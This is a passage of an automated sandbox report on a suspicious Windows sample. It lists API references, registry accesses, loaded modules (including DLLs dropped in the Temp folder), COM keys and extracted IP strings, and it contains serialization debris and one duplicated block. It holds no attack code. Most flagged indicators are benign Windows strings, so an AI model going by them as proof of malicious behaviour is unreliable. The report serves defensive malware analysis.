"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004456.00000000.221903.7AD62000.00000002.mdmp")2d:T928,"\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\Microsoft\Wbem\CIMOM" in Source: 00000000-00004456.00000000.221903.64D4E000.00000002.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00004456.00000000.221903.FA930000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\C" in Source: 00000000-00004456.00000000.221903.FAA16000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp2e:T928,"\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00004456.00000000.221903.63EC0000.00000002.mdmp "SOFTWARE\Microsoft\Wbem\CIMOM" in Source: 00000000-00004456.00000000.221903.64D4E000.00000002.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00004456.00000000.221903.FA930000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\C" in Source: 00000000-00004456.00000000.221903.FAA16000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp2f:Tce4,"cmd.exe" loaded module "KERNEL32" at base 7ff9904c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff98f4f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff98f4f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff98f4f0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff990c10000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff98f4f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff98f4f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff98f4f0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff979ef0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ff9904c0000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ff992290000 "WMIC.exe" loaded module "KERNEL32" at base 7ff9904c0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff98f4f0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff98f4f0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff98f4f0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff990c10000 "WMIC.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff98f4f0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff98f4f0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff98f4f0000 "WMIC.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff979ef0000 "WMIC.exe" loaded module "RPCRT4.DLL" at base 7ff9900c0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff98f4f0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff983f60000 "WMIC.exe" loaded module "SSPICLI.DLL" at base 7ff98e4e0000 "WMIC.exe" loaded module "KERNEL32.DLL" at base 7ff9904c0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ff97e150000 "WMIC.exe" loaded module "USER32.DLL" at base 20ffad10000 "WMIC.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff98f4f0000 "WMIC.exe" loaded module "MSISO.DLL" at base 7ff97abb0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff98cc60000 "WMIC.exe" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL" at base 7ff97b7a0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff981d20000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff98f4f0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff98f4f0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff981e50000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff981c90000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\XML\WMI2XML.DLL" at base 7ff97b2f0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ff9765c0000 "WMIC.exe" loaded module "AMSI.DLL" at base 7ff97af20000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff984f70000 "WMIC.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff97ad50000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WFI6LEJI.DLL" at base 7ff97623000030:T6cf,"WMIC.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Free Threaded XML DOM Document 6.0" (Path: "HKCU\CLSID\{88D96A06-F192-11D4-A65F-0040963251E5}\TREATAS") "WMIC.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WMIC.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WMI Object Factory" (Path: "HKCU\CLSID\{8D1C559D-84F0-4BB3-A7D5-56A7435A9BA6}\TREATAS") "WMIC.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "WMIC.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "WMIC.exe" touched "WbemQuery" (Path: "HKCU\CLSID\{EAC8A024-21E2-4523-AD73-A71A0AA2F56A}\TREATAS") "WMIC.exe" touched "XSL Template 6.0" (Path: "HKCU\CLSID\{88D96A08-F192-11D4-A65F-0040963251E5}\TREATAS") "WMIC.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WMIC.exe" touched "Component Categories Manager" (Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\TREATAS") "WMIC.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32")31:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")32:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")33:T409,"WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\IPHLPAPI.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\FRAMEDYNOS.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\SSPICLI.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\FLTLIB.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\CRYPTSP.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\CRYPTSP.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\WBEMCOMN.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\wbemcomn.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\BCRYPT.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\bcrypt.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\VERSION.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\VERSION.dll"34:T118a,Found reference to API "WS-Management could not connect to the specified destination: (%1:%2!d!)." (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "The WinRM service cannot process the request because the WinRS shell instance is already processing a connect operation." (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "The client cannot connect to the destination specified in the request." (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "The WinRM client cannot process the request. The body response is not a valid connect request response." (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") file/memory contains long string with (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") file/memory contains long string with (Indicator: " shutdown "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "nslookup: WSAStartup:%0" (Indicator: "wsastartup"; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "You have to connect to this printer before you can print on it. Do you want to connect to this printer and then print the selected document?" (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "Unable to connect Access denied, unable to connect.Printer not found on server, unable to connect" (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "The printer is offline. mWindows could not connect to your printer. Please check the connection between the computer and the printer. bThe printer is not responding. Please check the connection between your computer and the printer." (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "The activation server reported that the computer could not connect to the activation server." (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "G /S system Specifies the remote system to connect to." (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "7Parameter %1 must not contain embedded null characters.!Find an app in the Windows Store.oYou need to install an app first. Install a people or contacts app so you can connect with the people you know." (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "You can only send from apps." (Indicator: " send "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "send to a device right now.$To print content, connect a printer."To play content connect a device.HThe selected content is protected and can" (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp"), Found reference to API "To project connect a display." (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp"), Found reference to API "Install:This app is too big to download using a metered connection)Connect to another network and try again."Find another network to connect to\%1!s! can" (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "Unable to read system shutdown configuration information from the registry." (Indicator: " shutdown "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "Cannot connect to WinSAT" (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "Failed to apply CSC suspend policy. Cannot connect to CSC service.%n DETAIL - %1" (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found reference to API "Windows Connect Now" (Indicator: " connect "; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp")35:T60a,"192.168.0.2" Potential IPs "2.0.0.1" "2.0.0.20" "24.0.0.1" "24.0.0.22" found in string "2.0.0.1-2.0.0.20, 24.0.0.1-24.0.0.22" Potential IP "127.0.0.1" found in string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=!(157.59.136.1)" Potential IPs "157.59.136.1" "157.59.136.11" found in string "e.g. IPv4.Address=(157.59.136.1,157.59.136.11)" Potential IP "157.59.136.1" found in string "e.g. IPv4.SourceAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.DestinationAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "IPv4.Address=157.59.136.1'" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1'" Potential IP "157.59.136.1" found in string "This will capture IPv4 packets only from 157.59.136.1, and it" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes 